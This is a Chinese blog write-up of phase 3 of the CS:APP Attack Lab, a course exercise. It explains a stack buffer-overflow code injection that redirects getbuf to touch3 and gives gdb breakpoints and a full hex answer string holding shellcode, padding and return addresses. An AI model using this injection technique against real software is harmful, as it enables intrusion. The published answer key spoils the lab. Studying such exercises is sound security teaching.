csapp attack lab phase3

csapp attack lab phase3

ctarget 会先调用test , test调用getbuf, getbuf调用Get。
在phase1, 里通过修改缓冲区,是getbuf函数执行ret之后,跳转到touch1, 和touch1 不同的地方在于 touch2 是有入参数的,入参数需要通过在缓冲区里增加对rdi的修改,进行赋值。同时也要ret 执行后,确保rsp指向的地址的内容是touch2函数地址。
和phase2 不同的地方在于 phase3 传递的参数是指针。

任务目的是通过缓冲区注入攻击,将函数getbuf返回直接重定向到函数touch3。

(gdb) b *0x401971
Breakpoint 1 at 0x401971: file visible.c, line 92.
(gdb) b *0x401976
Breakpoint 2 at 0x401976: file /usr/include/x86_64-linux-gnu/bits/stdio2.h, line 105.
(gdb) b *0x4017af
Breakpoint 3 at 0x4017af: file buf.c, line 14.
(gdb) b *0x4017b4
Breakpoint 4 at 0x4017b4: file buf.c, line 16.
(gdb) b *0x4017bd
Breakpoint 5 at 0x4017bd: file buf.c, line 16.

test 汇编代码:
在这里插入图片描述

在这里插入图片描述
getbuf汇编代码:
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
touch3汇编代码:
在这里插入图片描述
在这里插入图片描述

参考答案:

35 39 62 39 39 37 66 61 00 /* "59b997fa" */
48 c7 c7 78 dc 61 55 /* mov */
c3 /* ret */
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 /* match buf */
81 dc 61 55 00 00 00 00 /* mov address */
fa 18 40 00 00 00 00 00 /* touch3 address */

通过将touch3函数覆盖test的stack frame, 在40个字符的范围内写入汇编代码,使寄存器执行mov等指令,并跳转到touch3。
mov指令不能直接修改rip寄存器的值。因为rip寄存器存储的是指令的地址,它是由处理器自动更新的。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值